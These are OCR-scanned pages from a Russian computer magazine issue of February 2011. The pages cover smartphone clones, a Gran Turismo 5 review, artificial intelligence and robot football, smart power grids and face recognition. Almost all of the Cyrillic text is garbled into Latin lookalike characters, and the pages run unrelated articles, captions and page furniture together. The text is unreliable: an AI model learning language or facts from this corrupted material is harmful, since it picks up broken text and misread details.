coBepmeHHO HeyAanHBiM, xotb Aa Hero 
npHHIJIOCB BBDIOaCHTB H6JIBIX 5600 py6- 
jieii. SciPhone ctoht Bcero 2000 pydjieii 
h Heruioxo cnpaBjineTCH c pojibio Tejie- 
(J)OHa h MP3-iuieepa, a peniHTB npo6- 


jieMBi c MHTepHeTOM MoacHO nyreM 
ycTaHOBKH 6pay3epa Opera Mini. 

TpeTBB noAAeJiKa, KOTOpyio mbi noAep- 
acajin b pyKax, — BlackBerry Bold 9700 — 
BBimjia H3 CTpoa, eABa ycneB npoACMOH- 
CTpHpOBaTB npHBeTCTBeHHBIH 3KpaH. Ho 
yBHAeHHoro OKa3ajiocB BnojiHe AOCTa- 
tohho, hto6bi ydeAHTBcn: ecjin 6 bi 3tot 
T ejiecJioH 6 bui b padoneM coctobhhh, oh 
H aineji 6 bi CBoero noKynaTejia. Taioie 
npOAyKTBI OpHeHTHpOBaHBI TJiaBHBIM 
o6pa30M Ha jiioach, >xejiaK)innx npHAarB 
Bee CBoeii nepcoHe 3a cneT Handojiee 
AOCTynHBix cpeACTB. BeAB huhto He 
MeinaeT BjiaaeJiBuy KjiOHa AejiaTB bha, 
HTO 3TO OpHTHHaJIBHBIH CMapT(J)OH, CTO- 
BUIHH B HeCKOJIBKO pa3 AOpOBCe. 

no cym, 3accb hmciot MecTO Te xe 
mothbbi, KOTOpBie no6y>KAaK)T MHOrHX 
k noxynxe noAAOJiBHoro 6ejiBH, nacoB, 
pyneK, odyBH hjih BceHCKHx cyMOK Louis 
Vuitton 3a 200 pydjien. npaBAa, b cjiy- 
nae co CMapT(J)OHaMH ecTB cboh tohko- 
cth. B KjioHe Nokia N900 cpa3y y3HaeT- 
cn KomiB, Aa h BlackBerry Bold 9700 
3anycKaeTcn He Tax, KaK opurnHaji. 
A bot SciPhone paccTpanBaeT KaK pa3 
cbohm cxoactbom c iPhone: b npHHAH- 
ne, 3to BnojiHe aoctohhbih annapaT, ho 
ero BjiaAejieH pncKyer npocjiBiTB jho6h- 
TejieM AeineBBix noAACJiOK. bee 
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chip TECTbl M 0E30Pbl ABToemviyjiflTop Gran Turismo 5 




GT5: roHKM 


3 Ta nrpa Bbinna Bcero uepe3 ro a 
nocjie CBoero maBHoro koh- 
KypeHTa — aBTOC n MyjiHTopa 
Forza III aan Xbox 360. IIo- 
CJieAHHH MoaceT noxBacTaTB- 
CH BeJIHKOJienHOH CHCTeMOH OHJiaHH- 
3ae3AOB H TypHHpHBIMH TabjiHpaMH. 
yaajTOCb jih raaBHOMy an3aHHepy cepnH 
GT Kaa3yHOpH RMayra co3aaTB ao- 
CTotooro conepHHKa? 

A BM8CT0 cepmia... 

ABTonapx coaepxcHT bojiee lOOOjinpeH- 
3HpOBaHHBix ManiHH, nopaaxa 100 H3 
KOTOpBIX BXOAHT b Tax Ha3BiBaeMyio 
sjiHTHyio rpynny h ^eTajiH3HpoBaHBi 
C (J)OTOipa(j}HHeCKOH TOHHOCTBK). 3^eCB 
eCTB aBTOMOGKJIH Ha jikd6oh BKyc — OT 
KJiaccHHecKoro Kubelwagen ao 3xc- 
kjtk)3hbhbix bojinaoB Ferrari FI, jier- 
khx KapTOB hjih, HanpHMep, ojiexrpo- 
MobHJieH Tesla, npn 3tom aaace 3ByKH, 
H3£aBaeMBie jxbw raTeji hmh, cooTBeTCT- 
ByiOT peajiBHBiM, He roBOpn yace o noBe- 
ae hhh Haaopore. KaacaBiii aBTOMobmiB 
CHa6>xaeTCH noapobHbiM TexHHuecxHM 
onncaHHeM h HCTOpneH, npiraeM Bee 
aamiBie KanecTBeHHO ji0KajiH30BaHBi. 

OnpoboBaTB Bee MHoroobpa3He <oxe- 
jie3HBix KOHen» bbi CMoaceTe Ha Tpac- 
cax HeCKOJIBKHX fleCHTKOB THnOB, B 

tom HHCJie 3HaMeHHTBix Top Gear h 
NASCAR. IIpHHeM, ecjin Tpacca HMe- 
eT, HanpHMep, rpaBHHHoe noKpBiTHe, 
ManiHHy byaeT 3aHOCHTB, xa k Ha rpa- 
bhh. A ecjin Ha rjia^KHH accjiajiBT naaa- 
k)t xanjiH boapmnero jieTHero ao>x- 
aa, He xanre H^eajiBHoro cpenjieHHH 
c aoporon. Ilorofla mokct reHepnpo- 
BaTBca cjiynaHHO, Tax mto x BBibopy 
pe3HHBi npHaeTCH noaoHTH cepBe3HO, 
xax h x noabopy xoMnjiexTyiomHx 


noKJiOHHMKM BMpTyanbHbix tohok oneHb flojiro >K,qanM 
nmyio nacTb Gran Turismo. Yqanocb jim pa3pa6oTHi/i- 
KaM onpaBflaTb nx Haflewflbi? 


Mercedes Benz SLS AMG 3tot bbto- 
Mo6i/i/ib npefldaBneH b caMOM non- 
hom Bepc m GT5 — Signature Edition 


£jih TiOHHHra jnobHMoro bojinaa. Bee 
yjiyHineHHH bjihhkdt Ha obiayio 3(JxJ)ex- 

THBHOCTB, Tax HTO HebOJIBLUBH CyMMa, 
BjioxeHHan c yMOM, BnojiHe MoaceT 
no,aapHTB ManiHHe bojiBine bo3mo>kho- 
CTen, hqm AOporocTOHmaH 3aMeHa bto- 
pocTeneHHBix aeTajieii. 


non KanoTOM 

Bpe3aHCB b jioboBoe CTexjio, xanjiH 
aoacaa paccBinaiOTCii TBicauaMH 6pBi3r, 
jieTiimaii H3-noa noxpBimex rpH3B 
oceaaeT Ha baMnepax, a anepn MoryT 
OTXpBITBCH, eCJIH BBI He CJIHIHXOM 
yaauiio BnHineTecB b noBOpOT. 

HecMOTpH Ha cjioxhoctb h peajiH- 
cthhhoctb obpabaTBiBaeMoii rpacjiH- 
XH, RBVDKOK HTpBI BO BpeMH TeCTHpO- 
BaHHH HH pa3y OmyTHMO He CHH3HJI 
noxa3aTejiB FPS. IIopOH aaace co 3- 
AaBajiocB omymeHHe, hto Ha oxpaHe 

HfleT npHMaH TpaHCJUmHH TOHOX. 

roHKM ana Bcex 

Ha paHHHx 3Tanax Gran Turismo 5 He 
noTpebyeT ot Bac ocobbix HaBBixoB 


GRAN TURISMO 5 


njlATcDOPMA: Sony PlayStation 3 
)KAHP: aBTOCi/nviyjiflTop 

nOflflEP>KKA Py/lfl: ecib 
PA3PAE0THI/IK: Polyphony Digital 
CAMT: www.gran-turismo.com 


BO^eaeHHB, n03BOJIHB cnoxotoo npn- 
BBixaTB x ynpaBjieHHio, xoTOpoe noa- 
aaeTCH nojiHOH HacTpoiixe, ecjin BaM He 
noHpaBBTCH CTaHaapTHBie napaMeTpBi. 
HanHHaTB, xoHenHO, npome c jiHijeH- 
3 hohhbix 3ae3aoB — Tax bbi cyMeeTe 
3apaboTaTB cboh nepBBiii bojina, a HMe- 


no-KpynHOMy 


50 


CHIP I OEBPAJlb 2011 



Logitech Driving 
Force GT ABnaeTCfl 

OC}D 1/114 l/l aJlbHblM 

pyjieM Gran Turismo. 
Bocnonb30BaBLuncb 
3TI/IM 06mHyTblM 
KO>KeM aKceccyapoM, 
Bbl CMO>KeTe 3aHOBO 
OTKpbITb AJia ce6a 
roHOHHbie nrpbi 
AJifl PS3. Ero cpefl- 
haa po3Hi/iHHan peHa 
codaB^neT okojio 
6500 pyO/iew 
(1650 rpi/iBeH) 


EOJlbLUHHCTBO COpeBHOBaHMM B GT5 npOBOA^TCn Me>KAy MaLUM- 
HaMi/i-«poBecHi/ii4aMi/i» hum aBT 0 M 06 i/uiflivM, npi/iHaAnowami/iMi/i 
k oAHOMy Kjiaccy. 3 aci/iAeTbCA Ha oahom 6 o/inAe He yAacTca 



P 


KUI4HHC5I KanHTaJI BJIOXHTB b tiohhhe 
O ntiTHBie ace nrpOKH CMOiyr npocico- 
HHTB CTapTOBBie 3ae3ABI AOCTaTOMHO 
6BICTpO H 6e3 0C06BIX CJIOXHOCTeH. 

Konocc Tokmmckmm 

B GT5 flocTynHBi h OHjiaiiH-roHKH, 
ho ceTeBBie no6e#Bi 3RQCb npaKTH- 
necKH He noompmoTcn. K TOMy ace 
HeT pa3,aejieHH5i hh no ypOBHio om>i- 
Ta BOAHTejieH, hh no KjiaccaM 060- 
pyAOBaHHH, ycTaHOBjieHHoro Ha Ma- 
niHHax. HaMHoro jiyunie ^ejia o6cto5it 
b OAHonojiB30BaTejiBCKOH nrpe, bko- 
Topon AOCTynHBi cjieflyiomHe peacn- 
mbi: KapBepa Spec -A (bbi ynpaBjraeTe 


MaiHHHOH CaMH), SpeC-B (BBI BBICTy- 
naeTe b pojih HiTypMaHa h flaeTe yxa- 
3aHHe KOMnBiOTepHOMy nnjiOTy), jih- 
peH3HOHHBie 33.Q3Jlbl, TpeHHpOBKa, 
cjiOTOpeacHM, a TaioKe oco6Bie 3ae3flBi, 
b tom HHCJie tohkh Ha cjiynanHO re- 
HepHpyeMBix Tpaccax, KapTHHr hjih 
o6yneHHe OKCTpeMajiBHOMy Boac^e- 
hhk). Ecjih bbi He yMeeTe, cicaaceM, 
APH(J)TOBaTB, GT5 HayHHT Bac 3TOMy. 
06yneHHe 6yaeT npoxo^HTB c oco6oh 
3(J)(J)eKTHBHOCTBIO , eCJIH nOflKJHOUHTB 
pyjiB h ne^ajin. B ^onojiHeHne k 3to- 
My npe^ycMOTpeH peacHM nrpBi b^bo- 
eM Ha oahoh npHCTaBKe c yao6HBiM 
paaflejieHneM 3KpaHa. 


BbIBOfl 

flaxe ecjin bbi Hmcor^a He HHTepe- 
COBaJIHCB aBT0M06HJIBHBIMH CHMyjIH- 
TopaMH, He cjie^yeT HefloopeHHBaTB 
GT5. XaoBOJiBCTBHe ot Taxoro npo- 
eKTa nojiynaT h 3anAJiBie tohiiihkh, h 
T e, KOMy «npocTO HpaBHTCH exaTB». 
HoBan nrpa H3 cepnn Gran Turismo 
BnojiHe cnoco6Ha 3aMeHHTB ijejiyio 
KOJIJieKH,HIO CHMyjMTOpOB , aBTOmKO- 
jiy h mhototomhbih cnpaBOHHHK no 
aBT0M06HJI5IM. KOHeUHO, He 060- 
mjiocB h 6e3 He6ojiBmHx He^ocTaT- 
kob, o^HaKO MacmTa6 npoeKTa ^eii- 
CTBHTejiBHO BneuaTjnieT. 

■■■ l/liibB KopHennyK 
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SEE? TECTbl M 0E30Pbl TexHOJiorMM 


MCKyCCTBeHHblH 


MmenncKT 


Kto He MenTaeT o tom, HTobbi poboTbi noMorani/i HaM no xo3hmctby i/i Ha onacHOM paboie, 
a TaK>Ke npocTO pa3BJieKann Hac? Mawi/mbi, fleMOHCTpnpyiOLni/ie flocTaTOHHO cnowHoe 
noBefleHMe, cymecTByiOT y>Ke ceroflHH. Ho fljia toto, HTobbi bbiTb fleiiCTBi/iTejibHO MHTen- 
jieKTyanbHbiMM, «flyMaiomi/iM» MexaHi/i3MaM npeflCTom eme MHoroMy Hayni/iTbCH. 


H eMiiHOHaT MHpa no c[)yT6o.Jiy moxho cuhtatb 
oahhm H3 caMbix npKHx coObithh npomeAHiero 
2010 roaa. H nobeAHTejieM Ha HeM CTana KOMaH- 
A a TepMaHHH. HMeHa nrpOKOB, 3aBoeBaBinnx 
neMnnoHCKHH THTyji b CnHranype, HaBepHHKa 
BOH^yT B HCTOpHK): BpyHO, JIyn3a n Eoao. 

HeGojibinoe yrouHeHne: Bruno, Luisa n Bodo — oto po 6 o- 
tm, BbiCTynHBmne b cocTaBe cOopHon KOMaH^bi HeMen;KHx 
HHCTHTyroB. Ha Ky 6 xe poGotob (Robocup), o 4 >nn;HajibHOM 
neMnnoHaTe MHpa no (J)yr 6 ojiy cpeau MexaHnuecKnx nrpo- 
kob, HMeHHO OHa 3 aBoeBajia uerape H 3 ABeHaan;aTH Harpaa, 
onepeauB KnTan, Rnorono n TannaHa. HMeHHTbiM conep- 
HHKaM aocTaaocb Bcero no ab a Tpoc^efl. 

OyrGojibHbie cocTH 3 aHHH Me>Kay poboTaMH — OAHa H 3 
CTaHAapTHbix 3 aaan nnn ncKyccTBeHHoro HHTejiiieKTa 
(coKpameHHO — HH). npn ynoMHHaHHH ototo pa 3 ae- 
jia HH(J)opMaTHKH b naMHTH cpa 3 y BcnjibiBaiOT o 6 pa 3 bi 
TepMHHaTOpa, poboTa R2D2 H 3 « 3 Be 3 AHbix bohh» h Apyrnx 
noAo 6 Hbix nepcoHaxen. Pa 3 yMeeTCH, Hejib 3 H 3 a 6 biBaTb n 


o cynepKOMnbKDTepe IBM noa Ha3BaHneM Deep Blue, b 
(J) eBpajie 1996 roaa BbinrpaBmeM y Iappn KacnapOBa, koto- 
pbin 6bm Toraa neMnnoHOM MHpa, maxMaTHyio napTHio, 
a toa cnycTH — n nejibiu math. 3Ta abbho npeACKa3aHHan 
no6eaa MamnHbi Haa nejiOBeKOM CTana 3HaMeHaTejibHon 
Bexon B HCTOpnn pa3BHTHH HCKyCCTBeHHOrO HHTeJUieKTa. 

«3aaana ncKyccTBeHHoro pa3yMa onpeaejieHHO cocto- 
HT He TOJIbKO B TOM, HTOObI HTpaTb B HiaXMaTbI», — 3aHB- 
jineT npoc^eccop ®pamc KnpxHep H3 IepMaHCKoro nccjie- 
AOBaTejibCKoro n;eHTpa no BonpocaM HCKyccTBeHHoro 
HHTejiJieKTa (DFKI) b BpeMeHe. KoHeuHO, nobeaa kom- 
nbiOTepa Haa AencTByiomHM ueMnnoHOM MHpa CTana Baac- 
HblM CObbITHeM, npOAeMOHCTpHpOBaBHIHM B03M0XCH0CTB 
odyuHTb TexHHuecKyio CHCTeMy. «Ho ceroaHH H3BecTHO, 
uto h cncTeMbi, He objiaaaiomHe HHTejuieKTOM, cnoco6- 
hh HrpaTb b maxMaTbi», — roBOpHT KnpxHep. Pa3yM npo- 
HBjineT ce6a He tojibko Ha 64 KjieTKax maxMaTHOH aockh. 
Oh npeacTaBjineT co6oh aejibin cneKTp HBjieHHH — ot 
npOCTbIX ABHXCeHHH AO HIHpOKHX no3HaBaTejibHbix -4 


o)CHIP DVD 

ynOMflHYTblE B CTATbE nPOrPAMMbl Bbl HAMflETE HA flM CKE B PABflEJIE «B 0 HYC» 



MICROSOFT ROBOTICS 
no fl/lfl 
ynPABJIEHI/IR 
P 0 B 0 TAMI/I 

Robotics Developer Studio 
no3BOJiaeT 
HanwcaTb nporpaMMy fl/ia 
poboia, fla>xe He ob/iaflaa 

OCObbIMM n03HaHMHMM 
B 3T0M C0epe. 



SLOW CHESS BLITZ 
l/IHTEJUlEKTYAJlbHOE 
PA 3 BJ 1 EHEHME 
fl/lfl 3 HAT 0 K 0 B 


3to LuaxMaTHoe npw- 
nox<eHMe MOfle/iwpyeT 
wrpy cmibHeMLui/ix rpocc- 
MeiiCTepoB — x<e/iaeM 
BaM ycnexa v\ npwflTHoro 
BpeMHnpenpoBO>KfleHMH. 



ARASAN CHESS 
UJAXMATbl 
C COnEPHI/IKOM 
JllOBOrO yPOBHR 

3flecb MMeeTca ba3a 
flaHHbix c 200 000 B03- 
M0>KHblMM LUaXMaTHbIMM 
XOflaMM. THbKHM MCKyC- 
CTBeHHbm i/iHTenneKT 
TaK)Ke npi/icyTCTByeT. 
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CINETEXT/LEGION-MEDIA; DEUTSCHE BORSE; DREAMSTIME; ESTHER SCHENK-PANIC; VOLKSWAGEN AG; «flBAflUATblCi BEK OOKC CHT» 




Ulax-MauiiiHa 

B 80-e roflbi maxMaT- 
Hbie KOMnbKrrepbi 
cflejiajiM MCKyccT- 
BeHHblM MHTeJIJieKT 
nonyjiapHbiM. 


BpoKep 

BwpMeBbie nporH 03 bi paccHM- 
TblBaMJTCB MCKyCCTBeHHbIMM 
HewpOHHblMM C 6 TBMI 1 . 


MrpoK b nHHr-noHr 

Po 6 ot no mem TOPIO nrpaei 

B HaCTOJIbHbIM TCHHUC - OpaB- 
fla, noKa cobgom HeMHoro. 


nOMOIIIHMK BOflUTe/lB 

l/lHTejuieKTyajibHbie cncieMbi b bbto- 
mo 6 mjibx B 35U1M Ha cebn MHoroe - 
OT KOHTpOJlfl KypCOBOM yCTOMHMBO- 
CTM AO nOMOLAH npM TOpMO)KeHHH. 


ra30H0K0CNHbmNK 

MoAenb Robomow cawio- 
CTOBTenbHO noflflep>KMBaeT 
33flaHHyK) Bbicoiy ra30H- 
HOM TpaBbl. 


Mefl6pai 

B RnoHHM po6oTbi-MeABe)KaTa 
noMoraroT b yxoAe 3a fionbHbiim 


M rpyiUKM 

EnaroAapfl BdpoeHHbiM ceHCO- 
paM «MiiKpopo 6 oTbi» Hexbug 
peampyhOT Ha npocTewiiJMe pa3- 
Apawmemi: rpoMKwe 3 ByKH, cbot, 
CTOJIKHOBBHIie C npCnflTCTBIICM. 


ribinecoc 

Po6oTbi-y6opii|MKH 
CaMOCTOBTOJIbHO 06 
Hapy)KiiBaH)T Mycop. 


Po6onec 

HeTBepoHorwM Apyr AIBO npow3- 
BOflCTBa Sony c yflOBOJibCTBHOM 
BbinonHneT KOMaHAy «anopT». 


« 60 JlTyH 3 . 0 » 

BI/IPTyAJIbHbIM 

COBECEflHI/IK 

CaMOo6yHaiOL4eecfl npw- 
zioweHMe, cnocobHoe nofl- 
Aep>KMBaTb Henpi/iHy>KfleH- 
Hbm flna/ior. CymecTByeT 
n/iamH, no 3 BonfliomMM 
noflKniOHmb «EomyHa» 
k IM-K/ineHTy Miranda. 


WWW.ALICEBOT.ORG 

BOT-nOBEfll/ITEJlb 

BupiyanbHbm codeceflHMK 
A.L.I.C.E. cflenaH no o 6 pa 3 - 
py Eliza — nepBOM noflob- 
hom nporpaMMbi, noflBMB- 
ineMcn eme b 1966 rofly. 
A.L.I.C.E. — MHoroKpaTHbm 
noGeflmenb copeBHOBaHMM 
cpeflM HaT-npi/ino>KeHi/iM. 


YOUTUBE 
JiyHLUI/IE MATH I/I 
KyBKA POBOTOB 

BMfleo 3 anncM copeBHOBa- 
h m Robocup 2010 mo>kho 
nocMOTpeTb Ha YouTube. 
Bbi Hawfleie mx, Bocno/ib- 
30BaBLUI/ICb KJlIOHeBblMM 
#a 3 aMi/i (cm. Bpe 3 Ky 
Ha dp. 58). 


CHIP I OEBPAJlb 2011 
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am? TECTbl M 0E30Pbl TexHOJiorMM 


cnoco6HOCTeH. 3 aaana C03aaHHH 
HH COCTOHT HMeHHO B TOM, HTOGbI 
BOCnpOH3BeCTH HX TeXHHHeCKH — 

XOTH 6bI qaCTHHHO. 

Hama noBceaHeBHan xh 3 hb yxe ceimac 

3aBHCHT OT B03M03CH0CTeH CHCTeM C 3JieMeH- 
TaMH HCKyccTBeHHoro HHTe juieicra , npimeM b 
3HaHHTejiBHO OojiBineH CTeneHH, neM moxho 
6bijio 6bi npeanojio>KHTb. npH noHCKe no 
KOMnbiOTepHbiM 6a3aM aaHHBix ncnojib- 
3yeTcn npHHu;Hn ycTponcTBa HenpOHHbix 
ceTen tojiobhoto M03ra. Eme 6ojiee HHTepecHon npea- 
CTaBjmeTCii pojib HH b npeacKa3aHHH noroabi n Bbipa6oTKe 
6np3ceBbix npomo30B. PacneT H3MeHeHnn b Taxoro poaa 
cjioxHenmnx cncTeMax HeB03M03ceH 6e3 ynacTnn ncKyc- 
CTBeHHbix «HenpOHHbix ceTen». 

McKyccTBeHHbin HHTejmeKT noMoraeT craaaHTB nnKOBbie 
Harpy3KH b cemx ojieKTpocHaGxeHjra, a b 6yaymeM cneicrp 
ero npHMeHeHHn eme 6ojibme yBejinnHTca (cm. cxeMy cnpa- 
Ba). Oh no3BOJineT, b nacTHOCTH, pacno3HaBaTb tojioc a6o- 
HeHTa ropimen jihhhh h 3anncbiBaTb ocHOBHbie CBeaeHHH 
o HeM. MHOxecTBO Moaejien coBpeMeHHbix aBTOMo6KJien 
ocHamaiOTCH 3jieKTpoHHBiMH cncTeMaMH KypcoBon CTa6n- 
jiH3an;HH, n aa>Ke b MamnHax cpeaHero KJiacca «ayMaio- 
mne» accncTeHTbi noMoraiOT Bojxwremo npn TOpMOxceHnn, 
He aaBan aBTOMo6njiK) BbuieTeTb c aoporw. 


«YMHbie» 3/ieKTpoceTM 


flojin 3H6prnn, Bbipa6aTbiBaeM0H 
M3 B0306H0BJ1fieMblX HCTOHHHKOB, 

CO BpeMBHBM fiyfleT yBejIHHMBaTbCfl, 
HTO TpefiyeT pa3BMTMfl «yMHblX» 
SJieKTpOCeTBM. 


ATOMHan 

3lieKTpOCTaHI|Mfl 


npHUMBHan aneKipociaHiiHa 


«( iaHHaii» 


3HeprocMcieMa 

MHoro MajieHbKiix sjiBKTpociaH- 
\\m BM6CT0 Hefiojibworo kojim- 
necTBa KpynHbix - b fiyflymeivi 
flaxce nacTHbie floivia CMoryT 
ciaTb npon3BOflmejiBMM 3Hep- 
rm fijiaroflapa cojiHeHHbiM 
6aiapeBM v\ MOflyjibHbiM T3LJ. 
MH0)KeCTB0 MeJIKliX MCTOHHli- 
kob npn HeofixoflMMOCTw 6yflyT 
odbeflMHBTbca b BwpTyaribHbie 
ajieKTpoueHTpaiiM. 


3JlEKTP0CETb 
MH0>0PIV1AUM0HHA51 CETb 


CHIP I QEBPAJlb 2011 


Korfla po6oTbi o6birpaiOT moaen b tpyibo/i? 

npHBe,aeHHBie npHMepBi HaranaHO acMO HCTp npyiOT, hto 
HCK yccTBeHHOMy pa3yMy CTaHOBHTCH no crniaM Bee Gojibine 
3aaan. HrpaioiaHe b c^yrGoji po6otbi — HarjraaHBiH o6pa3, 
fleMOHCTpHpyiomHH pa3BHTne HH. K TOMy xe jjjm yneHBix 
4)yr6oji 6ojiee npHBjieKarejieH, hqm CTaTHHHan nrpa b rnaxMa- 
tbi. nocjreaHHH npeflCTaBjineT co6oh KOHenHyio npo6jieMy 
h npeanojiaraeT orpaHnnenHoe KOJimiecTBO pemeHHH Rim 
Kax^on curyaujni. no cpaBHeHHio c Hen (J)yr6oji — 3 to 
coBepmeHHO hhoh MHp. HrpOBBie cmyaami hoctohhho 
M emnoTCH, h po6oTBi BBiHyacaeHBi peampOBaTB Ha hhx b 
peajiBHOM BpeMeHH: nrpoKH aojdkhbi to 3ammaaTBC5i, to 
H anaaaTb. Kohchho, ohh Moryr njiaHHpOBaTB nrpy, oaHaico, 
ecjin conepHHK paccTpanBaeT hx njiaHBi, HyacHO 6 bictpo 
H axo^HTB HOByio Hfleio. noMHMO 3T0T0 HeoGxoaHMO pemaTB 
npo6jieMBi c motophkoh, hto6bi bbihojihhtb caMBie pa3JiHH- 
HBie flBmKeHHH h HaHOCHTb yaapbi no Many 6e3 noTepn paB- 
HOBecHH h opHeHTau;HH. Ecjih jjjm 3aopOBoro nejiOBeKa Bee 
3 to He npeacTaBjTHeT HHKaKOH npoGjieMBi, to po6oTa HyxcHO 
CHanajia 3anporpaMMHpOBaTB, HanncaB mhoto ctpok MamuH- 
hoto xoaa (cm. HHTepBBio Ha CTp. 56 ). 

Bee 3th npo6jieMBi aaiOT noHHTb, noneMy Mam Me>Kay po6o- 
TaMH noxa He MO>xeT cpaBHHTbca c MOjnmeHOCHOH Hipon Ha 
KOpOTKHx naeax neMnnoHOB nejiOBenecKoro MHpa — HcnaHu;eB 
(cm. Bpe3Ky «MHTepecHoe BHaeo»). H Bee >xe, HecMOTpn Ha 
MeaimTejTbHOCTb HBIHeiHHHX pyKOTBOpHBIX Cj)yT6oJTHCTOB, HX 

C03aaTejTH y6e>KaeHbi, hto k 2050 roay ryMaHonabi 6yayT 
ycoBepmeHCTBOBaHBi HacTOJiBKO, hto noOeanT cOopHyio 
neMHHOHOB - jnoacH . BnpoHeM, aa>xe cnennajiHCT, hcckojibko 
jieT cjieaHBmHH 3a (J)yr6ojiBHBiMH TypHHpaMH poOoTOB, Ha- 
30BeT Taxon npomo3 cjinmKOM cmcjibim: b nocjieaHee BpeMH 
TexHOcnopT He ae m o h CT p npyeT oco6bix npopBiBOB. Ho 3to 
o6man Ha ceroaHnmHHH aeHb npoOjieMa HH. -4 
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3K0J10rMHH0, HO HeHaAe>KHO 


TenjiOBbie h aTOMHbie 3JieKTpociaHunn paBHOMepHO HacbimatOT aHeprocem 
ajiBKTpuHecTBOM. npwrfpeTaKmine Bee 6onbiuee 3HaneHHe B0306H0Bn»e- 
Mbie MCTOHHMKH SHeprHH XapaKT6pH3yH)TCfl CymeCTBeHHbIMH KO/ie6aHMfl- 
mm - HanpHMep, M3-3a nepeMeHbi noroflbi b pa3Hoe bpbmb cyTOK. B cbo3h 
c 3 thm Bee Gonbiuee 3HaneHHe Ann crjiawMBaHna iihkob 3HepronoTpe6ne- 
HHfl npno6peiaeT MmejuieKTyajibHoe ynpaBJieHwe sjieKTpoceTBMH. 


HacocHO- 

aKKyMyjiHpyrautan 

CTaHItHfl 



llpeflnpHflTHe 

3 HeprocHa 6 >KeHMfl 


3/ieKTpnHecKafi n/ifoc 

MHCjjOpMaUMOHHafl 

l/lHTejuieKTyajibHoe ynpaB/ieHne bosmo>kho 
JIMLU b npn yCJlOBHH, HTO eCTb B03M0)KH0CTb 

odMeHa HHtfeopMauneH. fl/in aioro npefl- 

npMBTMB 3JieKTpOCHa6)KeHHB COBMeCTHO 
C npOM3BOAMTei151MM CeTeBbIX yCTpOMCTB 

(nanpMMep, Cisco) ocHamaraT cbom cein 
MHCpOpMailHOHHblMM CHCTeMaMM. 


YMHoe ynpaBjieHMe OHepri/iew 

3ia KOHuenuHH o6i>eAHHfleT caMbie 
pa3JiMHHbie ycTpoiiCTBa - OT MHTeJUieK- 
Tya/lbHblX 3JieKTp0CHeTHMK0B M CpeflCTB 
ynpaBjieHMfl AOMawHHM 3Hepronoipe6ne- 
HM6M AO MHTerpMpOBaHHbIX B SJieKTpO- 
npw6opbi aothhkob ofipamoH cbh3h. 

3to no3BOJineT cmaAHTb nmcoebie 
Harpy3KH b onpeAeneHHbie nacbi 3a 
CHeT BpeMeHHOrO BbIKJIKJHeHHfl MOLUHblX 
noTpeftMTejieM - HanpHMep, CTHpanbHbix 
MaiHHH h BOAOHarpeBaTenbHbix kotjiob. 
npn neflocTaTKe pecypca b cemx AOMarn- 
h h e MHHH-3JieKTpocTaHL|HH MoryT nepeAa 
BaTb H36blTOHHyH) OHCpTHK) B CHCTeMbl 

o6mero nojib30BaHHn. 


OMauiHiiM Teniio 
aneKTporeHepaio) 


I OEBPAJlb 2011 


yJZ 






am? TECTbl H 0E30Pbl TexHOJiorMM 


Ifle eme mojkct HaftTHC b npuMeHeroie HCKyccTBeHHOMy 
HHTejuieKTy? HanpHMep, b ccjDepe HAeHTHc|3HKaii;HH h oGec- 
neneHHH 6e3onacHOCTH. AjiexcaHAp HoyaK pa6oTaeT Ha# 
0£HHM H3 TaKHX npoeKTOB bo OpayHrocjDepoBCKOM HHCTH- 
Tyre rpacjmHecKHx cucTeM o6pa6oTKH AaHHbix. Hoyax h 
ero KOMaH^a co3£aiOT cncTeMy aBTOMaTmiecKoro pacno- 
3HaBaHHH jihu;. «B npHHii;Hne, noxa mbi jihihb ntiTaeMCH 
noHHTB, Kax 3 to pa6oTaeT y nejiOBeKa, — roBOpHT oh. — 
Mbi xothm ycTaHOBHTB, KaKHM o6pa30M oh y3HaeT Apyrnx 
jnoAeH». 3aTeM pe3yjiBTaTBi Aamioro Hccjie#OBaHHH Gy^yr 
b xo#e HenpocTOH pa6oTBi nepe^aHH ManiHHaM. Be^u no 
CpaBHeHHK) C JHOABMH y HHX eCTB OrpOMHBIH He^OCTaTOK — 
OTCyTCTBHe Taxoro nOHHTHH, KaK C06CTBeHHBIH OnBIT. 
Ero Toxe npnxoAHTCii nporpaMMHpOBaTB mar 3a maroM. 

«Bo3BMeM, k npHMepy, Gopo^y — MamHHa 
He b coctohhhh npeACTaBHTL ce6e Gopo- 
AaToro nejiOBeica 6e3 p acTHTe jibhocth Ha 
jnnje, — o6B5icHHeT AjieKcaH^p Hoyax. — 
JXjw Hanajia eft Hyxmo oGbhchhtb, hto HMeiOTCH 
30 hbi, noABepxeHHBie pocTy bojioc, a ecTB Ge3B0- 
jiocBie ynacTKH tojiobbi. flpyrHMH cjiOBaMH, HCKyccTBeH- 
HBift pa3yM AOJixeH nomiTb, r^e pacnojiaraiOTCH o6jiacTH, 
KOTOpBie MoryT npeoGpaxaTbcn BCJie^CTBHe pocTa bojioc, 
a r#e — Te, H3MeHeHHe kotopbix npaKTmrecKH HeB03M0JK- 
ho. TaKHM o6pa30M, CHCTeMBi pacno3HaBaHHa aojhkhbi 
KOHI jeHTpHpOBaTBCil Ha TOM, HTO TpyiJHO H3MeHHTB: yTJIBI 
rjia3HBix mejieft, cjiopMa nepeHOCHijBi hjih yniH». 

CyMepKM KaK nperpaaa ana MmenneKTa 

C 3aflanaMH Hano^oGne pacno3HaBaHHB jihij GnoMeTpmie- 
ciore CHCTeMBi cnpaBjimoTCH Bee jiymiie h jiymne — no 
KpaftHeft Mepe, b jiaGopaTOpmix. Ho, xor^a ycjiOBHH hx 
paGoTBi nepecTaiOT 6 bitb H^eajiBHBiMH, yMHBie chctcmbi 
OK a3BiBaiOTC5i GeccHjibHbi nepea caMbiMH oGbihhbimh npo6- 
jieMaMH. Tax, TpH roaa Ha3aa KpHMHHajibHan nojin- 
iimi TepMaHKH 3anycTHjia npoexr noa Ha3BaHHeM «Ooto- 
P03bick». YcTaHOBjieHHaii Ha rjiaBHOM BOK3ajie Maiftma 
HHTejuieKTy ajiBHan cncTeMa aojuKHa 6bma pacno3HaTB b 
TOJ ine 200 nejiOBex, hbh (J>OTorpa(J)HH Gbijih npeaBapHTejib- 
ho 3ajioxeHBi b ee naMHTB. B TeneHHe ahh KaMepbi cjiexe- 
hhh c noMOiaBio aHajinumie ckoto nporpaMMHoro oGecne- 
neHHB aeMOHCTpnpOBajiH noKa3aTejib pacno3HaBaHHB b 
60%. 3to cymecTBeHHO Bbime, neM TpeMH roaaMH paHee, 
oaHaKO Bee eme HeaocTaTOHHO xopomo. TeM Gojiee hto 
